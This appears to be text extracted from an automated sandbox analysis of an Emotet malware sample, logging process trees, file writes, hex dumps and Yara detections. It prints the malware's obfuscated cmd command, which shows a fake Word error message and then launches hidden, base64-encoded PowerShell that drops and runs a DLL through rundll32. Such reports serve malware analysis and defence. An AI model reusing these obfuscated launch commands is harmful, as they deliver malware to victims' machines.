5C 00 4C 00 6F 00 63 00 61 
00 6C 00 5C 00 54 00 65 00 
6D 00 70 00 5C 00 69 00 6D 

success or wait 1 7FEE90A9AC0 unknown

Key Value ModifiedKey Value Modified
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00 67 00 73 00 2E 00 68 00 74 
00 6D 00 04 00 00 00 69 00 
6D 00 67 00 73 00 00 00 00 
00 01 00 00 00 00 00 00 00 
DB 27 CB EF 13 F4 D6 01 64 
52 0F 00 64 52 0F 00 00 00 
00 00 DB 04 00 00 02 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 FF FF FF FF 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 

00 67 00 73 00 2E 00 68 00 74 
00 6D 00 04 00 00 00 69 00 
6D 00 67 00 73 00 00 00 00 
00 01 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 64 52 0F 
00 64 52 0F 00 00 00 00 00 
DB 04 00 00 02 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 FF 
FF FF FF 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol
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00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 FF FF 
FF FF 

00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 FF FF FF FF 

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

Start time: 10:48:37

Start date: 26/01/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Analysis Process: cmd.exe PID: 2608 Parent PID: 1220Analysis Process: cmd.exe PID: 2608 Parent PID: 1220

General
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Commandline: cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. 
& p^owe^rs^he^ll^ -w hi^dd^en -^e^nc              IAAgAFMAZQB0ACAAIABEAGIATgBNAC 
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Imagebase: 0x4a760000

File size: 345088 bytes

MD5 hash: 5746BD7E255DD6A8AFA06F7C42C1BA41

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 10:48:37

Start date: 26/01/2021

Path: C:\Windows\System32\msg.exe

Wow64 process (32bit): false

Commandline: msg  user /v Word experienced an error trying to open the file. 

Imagebase: 0xff6b0000

File size: 26112 bytes

MD5 hash: 2214979661E779C3E3C33D4F14E6F3AC

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 10:48:38

Start date: 26/01/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Analysis Process: msg.exe PID: 2572 Parent PID: 2608Analysis Process: msg.exe PID: 2572 Parent PID: 2608

General

Analysis Process: powershell.exe PID: 2396 Parent PID: 2608Analysis Process: powershell.exe PID: 2396 Parent PID: 2608

General
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Commandline: powershell  -w hidden -enc              IAAgAFMAZQB0ACAAIABEAGIATgBNACAAKABbAFQAImagebase: 0x13f420000
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File ActivitiesFile Activities

File size: 473600 bytes

MD5 hash: 852D67A27E454BD389FA7F02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\Cha1_5j read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7FEE899BEC7 CreateDirectoryW

C:\Users\user\Cha1_5j\Pzyrxyv read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7FEE899BEC7 CreateDirectoryW

C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file | 
open no recall

success or wait 5 7FEE899BEC7 CreateFileW

File Path Completion Count
Source
Address Symbol

C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll success or wait 3 7FEE899BEC7 DeleteFileW

Old File Path New File Path Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll unknown 4096 3c 21 44 4f 43 54 59 
50 45 20 68 74 6d 6c 
3e 0a 3c 21 2d 2d 5b 
69 66 20 6c 74 20 49 
45 20 37 5d 3e 20 3c 
68 74 6d 6c 20 63 6c 
61 73 73 3d 22 6e 6f 
2d 6a 73 20 69 65 36 
20 6f 6c 64 69 65 22 
20 6c 61 6e 67 3d 22 
65 6e 2d 55 53 22 3e 
20 3c 21 5b 65 6e 64 
69 66 5d 2d 2d 3e 0a 
3c 21 2d 2d 5b 69 66 
20 49 45 20 37 5d 3e 
20 20 20 20 3c 68 74 
6d 6c 20 63 6c 61 73 
73 3d 22 6e 6f 2d 6a 
73 20 69 65 37 20 6f 
6c 64 69 65 22 20 6c 
61 6e 67 3d 22 65 6e 
2d 55 53 22 3e 20 3c 
21 5b 65 6e 64 69 66 
5d 2d 2d 3e 0a 3c 21 
2d 2d 5b 69 66 20 49 
45 20 38 5d 3e 20 20 
20 20 3c 68 74 6d 6c 
20 63 6c 61 73 73 3d 
22 6e 6f 2d 6a 73 20 
69 65 38 20 6f 6c 64 
69 65 22 20 6c 61 6e 
67 3d 22 65 6e 2d 55 
53 22 3e 20 3c 21 5b 
65 6e 64 69 66 5d 2d 
2d 3e 0a 3c 21 2d 2d 
5b 69 66 20 67 74 20 
49 45 20 

<!DOCTYPE html>.  [if lt 
IE 7]> <html class="no-js 
ie6 oldie" lang="en-US"> 
<![endif]-->.  [if IE 7]>    
<html class="no-js ie7 
oldie" lang="en-US"> <!
[endif]-->.  [if IE 8]>    <h
tml class="no-js ie8 oldie" 
lang="en-US"> <![endif]-->.  
[if gt IE 

success or wait 21 7FEE899BEC7 WriteFile

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written
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C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll unknown 223 3c 2f 61 3e 3c 2f 73 
70 61 6e 3e 0a 20 20 
20 20 0a 20 20 3c 2f 
70 3e 0a 3c 2f 64 69 
76 3e 3c 21 2d 2d 20 
2f 2e 65 72 72 6f 72 
2d 66 6f 6f 74 65 72 
20 2d 2d 3e 0a 0a 0a 
20 20 20 20 3c 2f 64 
69 76 3e 3c 21 2d 2d 
20 2f 23 63 66 2d 65 
72 72 6f 72 2d 64 65 
74 61 69 6c 73 20 2d 
2d 3e 0a 20 20 3c 2f 
64 69 76 3e 3c 21 2d 
2d 20 2f 23 63 66 2d 
77 72 61 70 70 65 72 
20 2d 2d 3e 0a 0a 20 
20 3c 73 63 72 69 70 
74 20 74 79 70 65 3d 
22 74 65 78 74 2f 6a 
61 76 61 73 63 72 69 
70 74 22 3e 0a 20 20 
77 69 6e 64 6f 77 2e 
5f 63 66 5f 74 72 61 
6e 73 6c 61 74 69 6f 
6e 20 3d 20 7b 7d 3b 
0a 20 20 0a 20 20 0a 
3c 2f 73 63 72 69 70 
74 3e 0a 0a 3c 2f 62 
6f 64 79 3e 0a 3c 2f 
68 74 6d 6c 3e 0a 

</a></span>.    .  </p>.
</div>   /.error-footer -->...    
</div>   /#cf-error-details --
>.  </div>   /#cf-wrapper --
>..  <script 
type="text/javascr<wbr>ipt
">.  window._cf_translation 
= {};.  .  .</scr<wbr>ipt>..
</body>.</html>.

success or wait 2 7FEE899BEC7 WriteFile

C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll unknown 11649 ff b8 28 66 46 00 e8 
75 f8 ff ff a1 e4 65 46 
00 85 c0 74 17 8b 10 
89 15 e4 65 46 00 50 
e8 d6 f7 ff ff a1 e4 65 
46 00 85 c0 75 e9 33 
c0 5a 59 59 64 89 10 
68 5d 1c 40 00 80 3d 
4d 60 46 00 00 74 0a 
68 cc 65 46 00 e8 d5 
f7 ff ff 68 cc 65 46 00 
e8 d3 f7 ff ff c3 e9 39 
1e 00 00 eb db 5b 5d 
c3 53 3b 05 18 66 46 
00 75 09 8b 50 04 89 
15 18 66 46 00 8b 50 
04 8b 48 08 81 f9 00 
10 00 00 7f 38 3b c2 
75 17 85 c9 79 03 83 
c1 03 c1 f9 02 a1 24 
66 46 00 33 d2 89 54 
88 f4 eb 24 85 c9 79 
03 83 c1 03 c1 f9 02 
8b 1d 24 66 46 00 89 
54 8b f4 8b 00 89 02 
89 50 04 5b c3 8b 00 
89 02 89 50 04 5b c3 
8d 40 00 8b 15 28 66 
46 00 eb 10 8b 4a 08 
3b c1 72 07 03 4a 0c 
3b c1 72 16 8b 12 81 
fa 28 66 46 00 75 e8 
c7 05 c8 65 46 00 03 
00 00 00 33 d2 8b c2 
c3 90 53 8b ca 83 e9 
04 8d 1c 01 83 fa 

..(fF..u.....eF...t......eF.P.

......eF...u.3.ZYYd..h].@..=
M`F..t.h.eF......h.eF........9..
...[].S;..fF.u..P....fF..P..H.
.......8;.u...y........$fF.3..
T...$..y.........$fF..T.......P.
[......P.[..@...(fF....J.;.r
..J.;.r.....(fF.u....eF.....3.
....S..........

success or wait 38 7FEE899BEC7 WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE8805208 unknown

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEE8805208 unknown

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE892A287 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml unknown 4096 success or wait 7 7FEE899BEC7 ReadFile

File ReadFile Read
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Registry ActivitiesRegistry Activities

C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml unknown 542 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 17 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

unknown 4096 success or wait 1 7FEE88F69DF unknown

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

unknown 512 success or wait 1 7FEE88F69DF unknown

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEE899BEC7 ReadFile

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEE899BEC7 ReadFile

C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 4096 success or wait 1 7FEE88F69DF unknown

C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll unknown 512 success or wait 1 7FEE88F69DF unknown

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

Key Path Name Type Data Completion Count
Source
Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 10:48:44

Start date: 26/01/2021

Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\system32\rundll32.exe'  C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll AnyString

Imagebase: 0xff8c0000

File size: 45568 bytes

MD5 hash: DD81D91FF3B0763C392422865C9AC12E

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: rundll32.exe PID: 1204 Parent PID: 2396Analysis Process: rundll32.exe PID: 1204 Parent PID: 2396

General
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File Path Offset Length Completion Count
Source
Address Symbol

C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll unknown 64 success or wait 1 FF8C27D0 ReadFile

C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll unknown 264 success or wait 1 FF8C281C ReadFile

Start time: 10:48:44

Start date: 26/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\system32\rundll32.exe'  C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll AnyString

Imagebase: 0xc00000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Borland Delphi

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000007.00000002.2099018804.0000000000890000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000007.00000002.2098274054.00000000001F0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000007.00000002.2098491144.0000000000230000.00000040.00020000.sdmp, 
Author: Joe Security

Reputation: moderate

File ActivitiesFile Activities

Start time: 10:48:45

Start date: 26/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll',#1

Imagebase: 0xc00000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Borland Delphi

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000008.00000002.2099681176.00000000001D0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000008.00000002.2099699413.0000000000250000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000008.00000002.2099787723.0000000000400000.00000040.00020000.sdmp, 
Author: Joe Security

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

File ReadFile Read

Analysis Process: rundll32.exe PID: 2896 Parent PID: 1204Analysis Process: rundll32.exe PID: 2896 Parent PID: 1204

General

Analysis Process: rundll32.exe PID: 2952 Parent PID: 2896Analysis Process: rundll32.exe PID: 2952 Parent PID: 2896

General
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Old File Path New File Path Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

Start time: 10:48:46

Start date: 26/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ueilekrvmxoa\xgsmipbdchc.h
xv',GRZxFiVeASCkxit

Imagebase: 0xc00000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Borland Delphi

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000009.00000002.2103211054.00000000001D0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000009.00000002.2103277620.0000000000230000.00000040.00020000.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000009.00000002.2103402652.00000000002F0000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File ActivitiesFile Activities

Start time: 10:48:47

Start date: 26/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ueilekrvmxoa\xgsmipbdchc.h
xv',#1

Imagebase: 0xc00000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Borland Delphi

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000A.00000002.2340471490.0000000000400000.00000040.00020000.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000A.00000002.2340431791.0000000000300000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000A.00000002.2340448062.0000000000330000.00000040.00000001.sdmp, 
